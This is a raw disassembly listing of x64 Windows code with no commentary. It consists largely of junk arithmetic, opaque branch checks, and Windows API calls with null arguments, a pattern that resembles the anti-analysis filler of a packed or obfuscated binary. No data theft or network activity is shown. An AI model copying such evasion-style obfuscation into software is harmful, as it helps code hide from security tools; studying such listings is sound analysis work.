call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1f08], ax
mov eax, dword [rsp + 0x6254]
xor eax, 0xe506
mov dword [rsp + 0x6254], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov eax, dword [rsp + 0x6254]
and eax, 0x3714
mov dword [rsp + 0x6254], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc020], rax
movsx eax, byte [rsp + 0x1d7]
add eax, 0x7b
mov byte [rsp + 0x1d7], al
mov eax, dword [rsp + 0x6254]
sub eax, 0x53cc
mov dword [rsp + 0x6254], eax
mov eax, dword [rsp + 0x6254]
or eax, 0x1dd2
mov dword [rsp + 0x6254], eax
mov eax, dword [rsp + 0x6254]
shr eax, 8
mov dword [rsp + 0x6254], eax
movsx eax, byte [rsp + 0x1d7]
shl eax, 3
mov byte [rsp + 0x1d7], al
mov eax, dword [rsp + 0x6254]
add eax, 0x3dab
mov dword [rsp + 0x6254], eax
movabs rax, 0x7b22236986e30f
mov rcx, qword [rsp + 0xc008]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc008], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6258], eax
mov eax, dword [rsp + 0x6248]
sub eax, 0x7d
mov dword [rsp + 0x6248], eax
movsx eax, byte [rsp + 0x1d7]
and eax, 0
mov byte [rsp + 0x1d7], al
movabs rax, 0x7532c1ac747f9b
mov rcx, qword [rsp + 0xc008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc008], rax
mov eax, dword [rsp + 0x6254]
shr eax, 0xa
mov dword [rsp + 0x6254], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
cmp dword [rsp + 0x6248], 0xddbd
ja 0x14000fa28
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x625c], 0xab21
movabs rax, 0x71168f2e4c02e0
cmp qword [rsp + 0xc008], rax
jae 0x14000fcc5
movsx eax, byte [rsp + 0x1d7]
or eax, 2
mov byte [rsp + 0x1d7], al
movzx eax, byte [rsp + 0x1d7]
mov byte [rsp + 0x6260], al
cmp byte [rsp + 0x6260], 0x6b
je 0x14000fca1
cmp byte [rsp + 0x6260], 0x7c
je 0x14000fc28
jmp 0x14000fcc0
lea rcx, [rsp + 0x29be0]
call qword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [rsp + 0x6264], eax
mov eax, dword [rsp + 0x6254]
shl eax, 0x10
mov dword [rsp + 0x6254], eax
mov eax, dword [rsp + 0x6254]
add eax, 0x6f18
mov dword [rsp + 0x6254], eax
lea rcx, [rsp + 0x29ec0]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [rsp + 0x6268], eax
lea rcx, [rsp + 0x29c30]
call qword [sym.imp.COMDLG32.dll_FindTextW]
mov qword [rsp + 0xc028], rax
mov eax, dword [rsp + 0x6254]
sub eax, 0x98e3
mov dword [rsp + 0x6254], eax
jmp 0x14000fcc0
mov r9, qword [rsp + 0xc008]
movzx r8d, byte [rsp + 0x1d7]
mov dl, 0xf8
mov ecx, dword [rsp + 0x6254]
call fcn.140197b30
jmp 0x14000fd8f
movzx eax, byte [rsp + 0x1d7]
mov byte [rsp + 0x626c], al
cmp byte [rsp + 0x626c], 0xd
je 0x14000fce0
jmp 0x14000fd05
mov r8d, 0x37
mov edx, PathYetAnotherMakeUniqueName
mov rcx, qword [rsp + 0xc030]
call qword [sym.imp.USER32.dll_SetMenuDefaultItem]
mov dword [rsp + 0x6270], eax
jmp 0x14000fd8f
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc038], rax
movzx eax, byte [rsp + 0x1d7]
mov byte [rsp + 0x6274], al
cmp byte [rsp + 0x6274], 0
je 0x14000fd35
jmp 0x14000fd7d
mov eax, 0xb86
mov word [rsp + 0x1f0c], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xc040], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc048], rax
mov eax, 0x210
mov word [0x1401c8a10], ax
jmp 0x14000fd8f
movsx eax, byte [rsp + 0x1d7]
add eax, 0x7c
mov byte [rsp + 0x1d7], al
movzx eax, byte [rsp + 0x1d7]
mov byte [rsp + 0x6278], al
cmp byte [rsp + 0x6278], 0
je 0x14000fdb7
cmp byte [rsp + 0x6278], 6
je 0x14000fdf0
jmp 0x14000fe45
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc050], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x627c], eax
jmp 0x14000fe45
mov rax, qword [rsp + 0xc058]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x6254]
mov r8d, 0xc9
mov edx, 0xc2
mov rcx, qword [rsp + 0xc060]
call qword [sym.imp.USER32.dll_ModifyMenuW]
mov dword [rsp + 0x6280], eax
movabs rax, 0x7aa6fb1667ef68
mov rcx, qword [rsp + 0xc008]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc008], rax
mov dword [rsp + 0x6284], 0x7f0f
movsx eax, word [0x1401c8a10]
shl eax, 0xb
mov word [rsp + 0x1d04], ax
mov eax, dword [rsp + 0x6254]
mov dword [rsp + 0x6288], eax
cmp dword [rsp + 0x6288], 0x6bd4
je 0x14000fe7f
jmp 0x14000fe97
movzx eax, word [rsp + 0x1f0c]
sar eax, 0xa
mov word [rsp + 0x1f0c], ax
jmp 0x14000ff58
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
movabs rax, 0x739931b84c5162
cmp qword [rsp + 0xc008], rax
je 0x14000ff17
lea rcx, [rsp + 0x1fbb8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x628c], eax
mov dword [rsp + 0x6290], 0xef8b
lea rcx, [rsp + 0x1fbe8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, str.SglDH
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1f10], ax
mov dword [rsp + 0x6294], 0x8311
lea rcx, [rsp + 0x1fc18]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
jmp 0x14000ff58
cmp dword [rsp + 0x6254], 0xf69f
jbe 0x14000ff34
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov qword [rsp + 0xc068], rax
jmp 0x14000ff58
movzx eax, word [rsp + 0x1f0c]
cmp eax, 0xba8
jle 0x14000ff58
mov rcx, qword [rsp + 0xc070]
call qword [sym.imp.USER32.dll_IsIconic]
mov dword [rsp + 0x6268], eax
mov dword [rsp + 0x6298], 0x9504
movzx eax, word [rsp + 0x1f0c]
mov word [rsp + 0x1f14], ax
movzx eax, byte [rsp + 0x253]
imul eax, eax, 0x38
mov byte [rsp + 0x253], al
movsx eax, word [rsp + 0x1d04]
sub eax, 0x5fe
movsx ecx, word [0x1401c8a10]
cmp eax, ecx
jge 0x1401978dd
lea rcx, str.ziuOxjk
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1f18], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.R2RRgmBJBJmGxmBBi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc078], rax
mov dword [rsp + 0x629c], 0x9758
mov dword [rsp + 0x62a0], 0x6c35
movabs rax, 0x7a89b8d1c5143b
mov rcx, qword [rsp + 0xc008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc008], rax
mov eax, dword [rsp + 0x6254]
mov dword [rsp + 0x62a4], eax
movsx eax, byte [rsp + 0x1d7]
add eax, 0xa
mov byte [rsp + 0x1d7], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
movsx eax, word [rsp + 0x1d04]
sub eax, 0x689
mov word [0x1401c8a10], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc080], rax
movsx eax, byte [rsp + 0x1d7]
add eax, 0xa
mov byte [rsp + 0x1d7], al
movzx eax, word [rsp + 0x1f14]
sar eax, 0xa
mov word [rsp + 0x1f0c], ax
movsx eax, byte [rsp + 0x1d7]
or eax, 0xe
mov byte [rsp + 0x1d7], al
movsx eax, byte [rsp + 0x1d7]
shl eax, 4
mov byte [rsp + 0x1d7], al
lea rcx, [rsp + 0x1fbb8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov eax, dword [rsp + 0x62a4]
sub eax, 0x4961
mov dword [rsp + 0x6254], eax
movabs rax, 0x75d3d445df496f
mov rcx, qword [rsp + 0xc008]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc008], rax
mov rcx, qword [rsp + 0xc040]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x62a8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
movsx eax, word [rsp + 0x1d04]
xor eax, 0x141
mov word [0x1401c8a10], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
movsx eax, byte [rsp + 0x1d7]
add eax, 0xd
mov byte [rsp + 0x1d7], al
movsx eax, word [0x1401c8a10]
shl eax, 0xc
mov word [rsp + 0x1d04], ax
movzx eax, word [rsp + 0x1f14]
or eax, 0x2ef
mov word [rsp + 0x1f0c], ax
movsx eax, byte [rsp + 0x1d7]
sar eax, 1
mov byte [rsp + 0x1d7], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6258], eax
mov eax, dword [rsp + 0x62a4]
sub eax, 0x7a5c
mov dword [rsp + 0x6254], eax
mov eax, dword [rsp + 0x6294]
sub eax, 0x13
mov dword [rsp + 0x6294], eax
lea rcx, [rsp + 0x1d368]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsx eax, word [0x1401c8a10]
add eax, 0x560
mov word [rsp + 0x1d04], ax
mov eax, dword [rsp + 0x62a4]
sub eax, 0x4ed1
mov dword [rsp + 0x6254], eax
movzx eax, word [rsp + 0x1f14]
add eax, 0x9c9
mov word [rsp + 0x1f0c], ax
movsx eax, word [0x1401c8a10]
or eax, 0x217
mov word [rsp + 0x1d04], ax
movsx eax, byte [rsp + 0x1d7]
sar eax, 1
mov byte [rsp + 0x1d7], al
mov rax, qword [rsp + 0xc008]
shl rax, 0x2b
mov qword [rsp + 0xc008], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x628c], eax
movzx ecx, word [rsp + 0x1f10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f08], ax
mov eax, dword [rsp + 0x6254]
xor eax, 0xe5af
mov dword [rsp + 0x62a4], eax
movsx eax, word [rsp + 0x1d04]
and eax, 0x2cb
mov word [0x1401c8a10], ax
movzx eax, byte [rsp + 0x253]
sub eax, 0x1a
mov byte [rsp + 0x253], al
cmp dword [rsp + 0x6294], 0x8253
ja 0x140010008
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x62ac], 0x2873
movzx eax, word [rsp + 0x1d04]
mov word [rsp + 0x1f1c], ax
movabs rax, 0x78503961a1ad8c
mov qword [rsp + 0xc088], rax
movsx eax, word [rsp + 0x1d04]
movsx ecx, word [0x1401c8a10]
add eax, ecx
mov word [rsp + 0x1f1c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
movzx eax, word [rsp + 0x1f0c]
shl eax, 6
mov word [rsp + 0x1f14], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
movabs rax, 0x75e5de317ad181
mov rcx, qword [rsp + 0xc088]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc088], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov eax, dword [rsp + 0x62ac]
add eax, 0xe2
mov dword [rsp + 0x62ac], eax
mov eax, dword [rsp + 0x6254]
shr eax, 2
mov dword [rsp + 0x62a4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
movsx eax, word [rsp + 0x1d04]
movsx ecx, word [rsp + 0x1f1c]
sub eax, ecx
mov word [0x1401c8a10], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
movabs rax, 0x7cc849a6c43d69
mov rcx, qword [rsp + 0xc008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc008], rax
movzx ecx, word [rsp + 0x1f10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f18], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc090], rax
movsx eax, word [rsp + 0x1d04]
movsx ecx, word [0x1401c8a10]
sub eax, ecx
mov word [rsp + 0x1f1c], ax
movzx eax, word [rsp + 0x1f14]
add eax, 0x927
mov word [rsp + 0x1f0c], ax
lea rcx, [rsp + 0x1d368]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, qword [rsp + 0xc010]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x62b0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6258], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rax, qword [rsp + 0xc088]
shl rax, 5
mov qword [rsp + 0xc088], rax
movzx ecx, word [rsp + 0x1f08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f10], ax
lea rdx, [rsp + 0x25f48]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x62b4], eax
cmp dword [rsp + 0x62ac], 0x737d
jbe 0x1400102f7
movzx eax, word [rsp + 0x1f0c]
or eax, 0xab7
mov word [rsp + 0x1f14], ax
movabs rax, 0x745e082b3a3241
mov rcx, qword [rsp + 0xc088]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc088], rax
mov rcx, qword [rsp + 0xc010]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [rsp + 0x1d368]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x62b8], eax
movzx eax, word [rsp + 0x1f0c]
and eax, 0xccc
mov word [rsp + 0x1f14], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x627c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
lea rcx, [rsp + 0x1fbb8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rcx, qword [rsp + 0xc040]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov eax, dword [rsp + 0x624c]
sub eax, 0x5a
mov dword [rsp + 0x624c], eax
movsx eax, byte [rsp + 0x1d7]
sar eax, 1
mov byte [rsp + 0x1d7], al
movsx eax, word [rsp + 0x1d04]
movsx ecx, word [rsp + 0x1f1c]
sub eax, ecx
mov word [0x1401c8a10], ax
cmp dword [rsp + 0x624c], 0x4366
jae 0x1400104d9
cmp dword [rsp + 0x62a0], 0x8a5d
je 0x1400107e7
lea rcx, [rsp + 0x1fc18]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x62a0]
add eax, 0xc1
mov dword [rsp + 0x62a0], eax
movzx eax, byte [rsp + 0x253]
add eax, 0xb8
mov byte [rsp + 0x253], al
mov r9d, 1
lea r8, [rsp + 0xc098]
mov rdx, qword [rsp + 0xc098]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x62b0], eax
lea rcx, [rsp + 0x1fc48]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, word [rsp + 0x1d04]
movsx ecx, word [0x1401c8a10]
shl eax, cl
mov word [rsp + 0x1f1c], ax
movsx eax, word [rsp + 0x1f1c]
movsx ecx, word [0x1401c8a10]
sar eax, cl
mov word [rsp + 0x1d04], ax
movabs rax, 0x7993bdb08dfb62
mov rcx, qword [rsp + 0xc088]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc088], rax
movzx eax, word [rsp + 0x1f0c]
sub eax, 0x5ad
mov word [rsp + 0x1f14], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x62b8], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc0a0], rax
lea rcx, [rsp + 0x1fc48]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
movsx eax, byte [rsp + 0x1d7]
add eax, 0x27
mov byte [rsp + 0x1d7], al
lea rcx, [rsp + 0x1fbe8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
movabs rax, 0x7d9661074830b1
mov rcx, qword [rsp + 0xc008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc008], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
movsx eax, word [rsp + 0x1f1c]
movsx ecx, word [rsp + 0x1d04]
add eax, ecx
mov word [0x1401c8a10], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x628c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x62bc], eax
movsx eax, word [rsp + 0x1d04]
movsx ecx, word [0x1401c8a10]
add eax, ecx
mov word [rsp + 0x1f1c], ax
jmp 0x14001060e
movabs rax, 0x7ec368485ec6af
mov rcx, qword [rsp + 0xc088]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb0d8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6258], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
movzx ecx, word [rsp + 0x1f04]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f04], ax
mov dword [rsp + 0x62c0], 0xcdd8
lea rax, [rsp + 0x1f14]
mov qword [rsp + 0xc0a8], rax
mov rax, qword [rsp + 0xc088]
mov qword [rsp + 0xc0b0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc0b8], rax
movzx eax, word [rsp + 0x1f14]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xfdc], ax
movzx eax, byte [rsp + 0x1d7]
mov byte [rsp + 0x62c4], al
cmp byte [rsp + 0x62c4], 0x17
je 0x1400108b3
jmp 0x140010903
mov rax, qword [rsp + 0xb0d8]
movzx ecx, al
mov rax, qword [rsp + 0xc0b0]
sar rax, cl
mov qword [rsp + 0xc088], rax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov word [rsp + 0x1f20], ax
movzx eax, byte [rsp + 0x253]
mov byte [rsp + 0x374], al
mov dword [rsp + 0x62c8], 0x9c2c
jmp 0x140010a07
mov rax, qword [rsp + 0xb0d8]
mov qword [rsp + 0xc0c0], rax
movabs rax, 0x765048c43c2a36
cmp qword [rsp + 0xc0c0], rax
je 0x1400109ed
movabs rax, 0x7ef1692807d1bb
cmp qword [rsp + 0xc0c0], rax
je 0x140010944
jmp 0x140010a07
movsx eax, word [rsp + 0x1d04]
movsx ecx, word [rsp + 0x1f1c]
shl eax, cl
mov word [0x1401c8a10], ax
lea r9, [rsp + 0x29be0]
lea r8, [rsp + 0x6254]
mov edx, reloc.SHELL32.dll_ILRemoveLastID
mov rcx, qword [rsp + 0xc068]
call qword [sym.imp.USER32.dll_DrawAnimatedRects]
mov dword [rsp + 0x6268], eax
mov dword [rsp + 0x20], 0xc6
lea r9, [rsp + 0x253]
lea r8, [rsp + 0x253]
mov edx, 0x1c
mov ecx, 0xa4
call qword [sym.imp.USER32.dll_ToAscii]
mov dword [rsp + 0x62cc], eax
mov r8d, 0x90
lea rdx, [rsp + 0xc0c8]
mov rcx, qword [rsp + 0xc070]
call qword [sym.imp.USER32.dll_InternalGetWindowText]
mov dword [rsp + 0x62d0], eax
movsx eax, byte [rsp + 0x1d7]
or eax, 0x14
mov byte [rsp + 0x1d7], al
jmp 0x140010a07
mov edx, 0x39
mov rcx, qword [rsp + 0xc0d0]
call qword [sym.imp.USER32.dll_GetWindowLongW]
mov dword [rsp + 0x62d4], eax
mov eax, dword [rsp + 0x62a4]
mov ecx, dword [rsp + 0x6254]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ed0], eax
lea rcx, [rsp + 0x1fc18]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc008]
mov qword [rsp + 0xc0d8], rax
movsx eax, word [rsp + 0x1f1c]
movsx ecx, word [rsp + 0x1d04]
or eax, ecx
mov word [rsp + 0x137c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov dword [rsp + 0x62d8], 0x98b8
mov dword [rsp + 0x62dc], 0x2ffa
mov rax, qword [rsp + 0xc008]
mov qword [rsp + 0xc0e0], rax
movabs rax, 0x734e3970cbf2ef
cmp qword [rsp + 0xc0e0], rax
je 0x140010aa1
jmp 0x140010b6b
mov eax, dword [rsp + 0x62d4]
mov ecx, dword [rsp + 0x62d0]
sub ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x62cc]
jg 0x140010abe
jmp 0x140010b30
movzx eax, word [rsp + 0xfdc]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
xor eax, ecx
movzx ecx, word [rsp + 0x1f0c]
movzx edx, word [rsp + 0x1f20]
and ecx, edx
cmp eax, ecx
je 0x140010b08
lea rdx, [rsp + 0x29ec0]
mov rcx, qword [rsp + 0xc0e8]
call qword [sym.imp.USER32.dll_MapDialogRect]
mov dword [rsp + 0x62e0], eax
jmp 0x140010b30
mov rax, qword [rsp + 0xc008]
shl rax, 0x2a
cmp rax, qword [rsp + 0xc0d8]
jae 0x140010b30
movsx eax, byte [rsp + 0x1d7]
sar eax, 5
mov byte [rsp + 0x1d7], al
movsx eax, word [rsp + 0x1f1c]
movsx ecx, word [rsp + 0x137c]
or eax, ecx
mov word [0x1401c8a10], ax
lea rdx, [rsp + 0x1d7]
mov rcx, qword [rsp + 0xc0f0]
call qword [sym.imp.USER32.dll_GetIconInfo]
mov dword [rsp + 0x6264], eax
jmp 0x1401977fd
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfdc]
add eax, ecx
movzx ecx, word [rsp + 0x1f20]
movzx edx, word [rsp + 0x1f0c]
sub ecx, edx
cmp eax, ecx
jg 0x140010c38
movabs rax, 0x7723861ea21baa
mov rcx, qword [rsp + 0xc0d8]
sub rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0xc008]
je 0x140010bbe
jmp 0x140010bf3
movzx eax, byte [rsp + 0x253]
and eax, 0x7a
movzx ecx, byte [rsp + 0x374]
cmp eax, ecx
jl 0x140010bf3
mov rax, qword [rsp + 0xc088]
movzx ecx, al
mov rax, qword [rsp + 0xb0d8]
sar rax, cl
mov qword [rsp + 0xc0b0], rax
movzx eax, word [rsp + 0x1f0c]
movzx ecx, word [rsp + 0x1f14]
xor eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
mov cx, 0xcc
call qword [sym.imp.USER32.dll_OemKeyScan]
mov dword [rsp + 0x6254], eax
mov cx, 0x3f
call qword [sym.imp.USER32.dll_VkKeyScanW]
mov word [rsp + 0x1d04], ax
jmp 0x140197761
movabs rax, 0x77ab9dee651093
mov rcx, qword [rsp + 0xc008]
add rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0xc0d8]
jne 0x140010c7c
mov rdx, qword [rsp + 0xc0f8]
mov rcx, qword [rsp + 0xc100]
call qword [sym.imp.USER32.dll_ExcludeUpdateRgn]
mov dword [rsp + 0x62cc], eax
jmp 0x140197761
mov eax, dword [rsp + 0x5ed0]
movzx ecx, al
mov eax, dword [rsp + 0x6254]
shl eax, cl
cmp eax, dword [rsp + 0x62a4]
je 0x140197697
mov rax, qword [rsp + 0xb0d8]
mov rcx, qword [rsp + 0xc088]
or rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0xc0b0]
jge 0x140010d72
movzx eax, word [rsp + 0xfdc]
mov dword [rsp + 0x62e4], eax
cmp dword [rsp + 0x62e4], 0x988
je 0x140010cee
cmp dword [rsp + 0x62e4], 0xd21
je 0x140010d5c
jmp 0x140010d72
xor r8d, r8d
mov edx, 0xe6
lea rcx, [rsp + 0x29f60]
call qword [sym.imp.USER32.dll_AdjustWindowRect]
mov dword [rsp + 0x6280], eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_ShowCursor]
mov dword [rsp + 0x62cc], eax
mov r8d, 0x24
mov edx, SHDoDragDrop
mov rcx, qword [rsp + 0xc108]
call qword [sym.imp.USER32.dll_RemoveMenu]
mov dword [rsp + 0x6270], eax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f14]
shl eax, cl
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
jmp 0x140010d72
mov rcx, qword [rsp + 0xc110]
call qword [sym.imp.USER32.dll_CharUpperW]
mov qword [rsp + 0xc110], rax
movzx eax, word [rsp + 0x1f14]
movzx ecx, word [rsp + 0x1f0c]
sar eax, cl
mov word [rsp + 0x1f20], ax
mov rax, qword [rsp + 0xc0b0]
mov qword [rsp + 0xc118], rax
cmp dword [rsp + 0x62d8], 0xa54c
je 0x14001101c
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f0c]
sub eax, ecx
mov word [rsp + 0x1f14], ax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f0c]
add eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x628c], eax
mov eax, dword [rsp + 0x62d8]
add eax, 0x46
mov dword [rsp + 0x62d8], eax
mov rax, qword [rsp + 0xb0d8]
mov rcx, qword [rsp + 0xc088]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc118], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, byte [rsp + 0x1d7]
xor eax, 0x37
mov byte [rsp + 0x1d7], al
movsx eax, word [rsp + 0x1f1c]
movsx ecx, word [rsp + 0x137c]
sub eax, ecx
mov word [0x1401c8a10], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6258], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea rcx, [rsp + 0x1fc78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f14]
shl eax, cl
